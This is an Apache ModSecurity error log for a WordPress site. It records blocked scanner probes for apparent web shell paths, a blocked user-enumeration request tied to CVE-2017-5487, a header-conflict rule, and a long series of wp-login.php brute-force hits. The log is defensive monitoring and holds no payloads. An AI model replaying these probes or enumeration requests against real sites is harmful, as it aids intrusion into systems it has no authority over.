[Sun Mar 01 12:45:24.425285 2026] [:error] [pid 33229:tid 33254] [client 20.104.206.150:3920] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aaPEZHzT4c9ddlGE6FxweAAAAZc"]
[Sun Mar 01 12:45:25.042369 2026] [:error] [pid 8688:tid 8698] [client 20.104.206.150:4001] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aaPEZTHJ4Nn-RvulD0r15QAAAUg"]
[Sun Mar 01 12:45:25.776841 2026] [:error] [pid 8688:tid 8703] [client 20.104.206.150:3923] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aaPEZTHJ4Nn-RvulD0r16wAAAU0"]
[Sun Mar 01 12:45:26.594727 2026] [:error] [pid 33976:tid 33996] [client 20.104.206.150:3995] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/st.php"] [unique_id "aaPEZgUyU3c4Xm_xpMTcHQAAAlI"]
[Sun Mar 01 12:45:27.877513 2026] [:error] [pid 21156:tid 21167] [client 20.104.206.150:4076] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/st.php"] [unique_id "aaPEZ6saG_9IkG8N2p0nsAAAAAE"]
[Sun Mar 01 13:43:08.122959 2026] [:error] [pid 38241:tid 38262] [client 43.166.7.113:59202] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaPR7PKRPk6YnJBxw_z5gAAAANI"]
[Sun Mar 01 14:12:13.711768 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPYveu0U4o7eSImsVQJ-gAAAZc"], referer: https://www.bing.com/
[Sun Mar 01 14:12:30.258158 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaPYzuu0U4o7eSImsVQKOAAAAZE"], referer: https://www.facebook.com/
[Sun Mar 01 14:12:30.521223 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPYzuu0U4o7eSImsVQKOQAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:33.173867 2026] [:error] [pid 37032:tid 37042] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY0eu0U4o7eSImsVQKPAAAAYg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:34.409117 2026] [:error] [pid 37032:tid 37045] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY0uu0U4o7eSImsVQKPQAAAYs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:36.972076 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY1Ou0U4o7eSImsVQKQAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:38.323882 2026] [:error] [pid 37032:tid 37046] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY1uu0U4o7eSImsVQKQgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:41.083022 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY2eu0U4o7eSImsVQKSAAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:42.340561 2026] [:error] [pid 37032:tid 37044] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY2uu0U4o7eSImsVQKUQAAAYo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:44.986969 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY3Ou0U4o7eSImsVQKVgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:46.288790 2026] [:error] [pid 37032:tid 37045] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY3uu0U4o7eSImsVQKWQAAAYs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:49.504208 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY4eu0U4o7eSImsVQKYAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:50.760620 2026] [:error] [pid 37032:tid 37040] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY4uu0U4o7eSImsVQKYQAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:53.366897 2026] [:error] [pid 37032:tid 37038] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY5eu0U4o7eSImsVQKaQAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:54.637592 2026] [:error] [pid 37032:tid 37045] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY5uu0U4o7eSImsVQKbQAAAYs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:57.224991 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY6eu0U4o7eSImsVQKbwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:12:58.490144 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY6uu0U4o7eSImsVQKcgAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:01.197679 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY7eu0U4o7eSImsVQKegAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:02.673379 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY7uu0U4o7eSImsVQKgAAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:05.354776 2026] [:error] [pid 37032:tid 37036] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY8eu0U4o7eSImsVQKiAAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:06.601459 2026] [:error] [pid 37032:tid 37053] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY8uu0U4o7eSImsVQKigAAAZM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:09.273934 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY9eu0U4o7eSImsVQKjAAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:10.501545 2026] [:error] [pid 37032:tid 37044] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY9uu0U4o7eSImsVQKjgAAAYo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:13.103969 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY-eu0U4o7eSImsVQKkQAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:14.518737 2026] [:error] [pid 37032:tid 37046] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY-uu0U4o7eSImsVQKlAAAAYw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:17.320033 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY_eu0U4o7eSImsVQKmgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:18.656019 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPY_uu0U4o7eSImsVQKnAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:22.712403 2026] [:error] [pid 37032:tid 37043] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZAuu0U4o7eSImsVQKqQAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:23.993634 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZA-u0U4o7eSImsVQKrAAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:26.672020 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZBuu0U4o7eSImsVQKtwAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:27.998760 2026] [:error] [pid 37032:tid 37034] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZB-u0U4o7eSImsVQKvgAAAYA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:30.790256 2026] [:error] [pid 37032:tid 37036] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZCuu0U4o7eSImsVQKxAAAAYI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:32.132809 2026] [:error] [pid 37032:tid 37057] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZDOu0U4o7eSImsVQKzgAAAZc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:34.922973 2026] [:error] [pid 37032:tid 37034] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZDuu0U4o7eSImsVQK6gAAAYA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:36.178004 2026] [:error] [pid 37032:tid 37046] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZEOu0U4o7eSImsVQK9AAAAYw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:38.755441 2026] [:error] [pid 37032:tid 37050] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZEuu0U4o7eSImsVQLCgAAAZA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:39.990346 2026] [:error] [pid 37032:tid 37035] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZE-u0U4o7eSImsVQLFAAAAYE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:42.649297 2026] [:error] [pid 37032:tid 37040] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZFuu0U4o7eSImsVQLFgAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:44.078851 2026] [:error] [pid 37032:tid 37051] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZGOu0U4o7eSImsVQLFwAAAZE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:46.789580 2026] [:error] [pid 37032:tid 37054] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZGuu0U4o7eSImsVQLHQAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:48.074827 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZHOu0U4o7eSImsVQLHgAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:50.789737 2026] [:error] [pid 37032:tid 37044] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZHuu0U4o7eSImsVQLIQAAAYo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:52.151587 2026] [:error] [pid 37032:tid 37056] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZIOu0U4o7eSImsVQLJgAAAZY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:54.929689 2026] [:error] [pid 37032:tid 37039] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZIuu0U4o7eSImsVQLLQAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:56.224311 2026] [:error] [pid 37032:tid 37034] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZJOu0U4o7eSImsVQLLwAAAYA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:13:59.044756 2026] [:error] [pid 37032:tid 37040] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZJ-u0U4o7eSImsVQLNAAAAYY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:00.396452 2026] [:error] [pid 37032:tid 37056] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZKOu0U4o7eSImsVQLNwAAAZY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 14:14:03.220829 2026] [:error] [pid 37032:tid 37037] [client 45.141.233.210:58948] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaPZK-u0U4o7eSImsVQLOwAAAYM"], referer: https://gigfragments.org/wp-login.php
